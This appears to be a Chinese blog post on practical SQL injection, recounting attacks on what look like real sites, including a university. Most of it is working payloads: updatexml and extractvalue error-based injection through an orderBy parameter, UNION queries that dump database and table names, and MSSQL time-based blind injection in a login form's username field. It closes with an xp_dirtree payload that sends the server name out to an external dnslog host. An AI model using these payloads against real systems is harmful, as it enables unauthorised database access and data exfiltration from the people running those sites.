SQL注入实战

1、orderBy报错注入

某大学

www.target.com?orderBy=1

注入为orderBy注入,将orderby更改为id测试时并不能造成报错回显故不能当注入点

正常状态下

经过测试可知共14列,orderBy=15时报错,由于列名可控?orderby=$id

这里使用XPath报错注入,Geohash报错等均不能正常使用

orderBy=1/updatexml(0x0a,if(1=2,1,concat(0x0a,database())),0x0a)--+

orderBy=1/updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e)

orderBy=1/extractvalue(1,concat(0x7e,(select database())))

2、联合查询

经测试共有10列其中6,8为回显字段

www.target.com/.php?id=1%20union%20select%201,2,3,4,5,6,7,8,9,10%20--+

.php?id=1 union select 1,2,3,4,5,database(),7,version(),9,10 --+

表名:.php?id=1 union select 1,2,3,4,5,concat(table_name),7,version(),9,10 from information_schema.tables where table_schema='techmarthk_data'--+

3、mssql延时注入

两个路径两个sql为同一手法

延时注入+dnslog外带

post型,注入点为username

POST /xxxxx/xxxxx/login.asp HTTP/2

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type:

Content-Length: 121

Upgrade-Insecure-Requests: 1

username=admin&passwd=1&login=

单引号回显不正常构造payload

admin+and+1=1';WAITFOR+DELAY'0:0:3'--+

判断数据库长度经测试为3

admin and 1=1'if(len(db_name())=3)WAITFOR+DELAY'0:0:3'--+

注出数据库名(这里两条payload有点绕)

区别:第一条payload需要进行url编码即可执行延时,如若直接执行则不会延时

第二条payload不需要进行url编码即可执行延时,如若进行编码则不会延时

admin and 1=1'if(ascii(substring((db_name()),1,1))>1)WAITFOR DELAY'0:0:3'--+

admin and 1=1'if (ascii(substring((db_name()),1,1))>1) WAITFOR+DELAY'0:0:3'--+

dnslog外带

admin';DECLARE @payload varchar(8000);SET @payload=(SELECT @@SERVERNAME) '.3e3b54d658.ipv6.1433.eu.org.';EXEC('master..xp_dirtree"\\' @payload '\foobar$"');--

相关推荐
TH_110 分钟前
6、前台界面传递老数据,导致业务数据错误
数据库
Hello.Reader16 分钟前
Flink SQL Time Travel用 FOR SYSTEM_TIME AS OF 查询历史快照
大数据·sql·flink
光影少年35 分钟前
PostgreSQL数据库学习路线
数据库·学习·postgresql
哈哈老师啊42 分钟前
Springboot简单二手车网站qs5ed(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
JIngJaneIL1 小时前
基于Java+ vue图书管理系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot·后端
VX:Fegn08951 小时前
计算机毕业设计|基于springboot + vue考勤管理系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
晚风_END1 小时前
postgresql数据库|数据库维护系列|postgresql数据库参数配置详解和数据库维护时机的选择(三)
运维·开发语言·数据库·postgresql·oracle
一 乐1 小时前
幼儿园管理|基于springboot + vue幼儿园管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端
JIngJaneIL1 小时前
基于Java + vue校园论坛系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot·后端
期待のcode1 小时前
Springboot多数据源配置
java·数据库·spring boot·后端·mybatis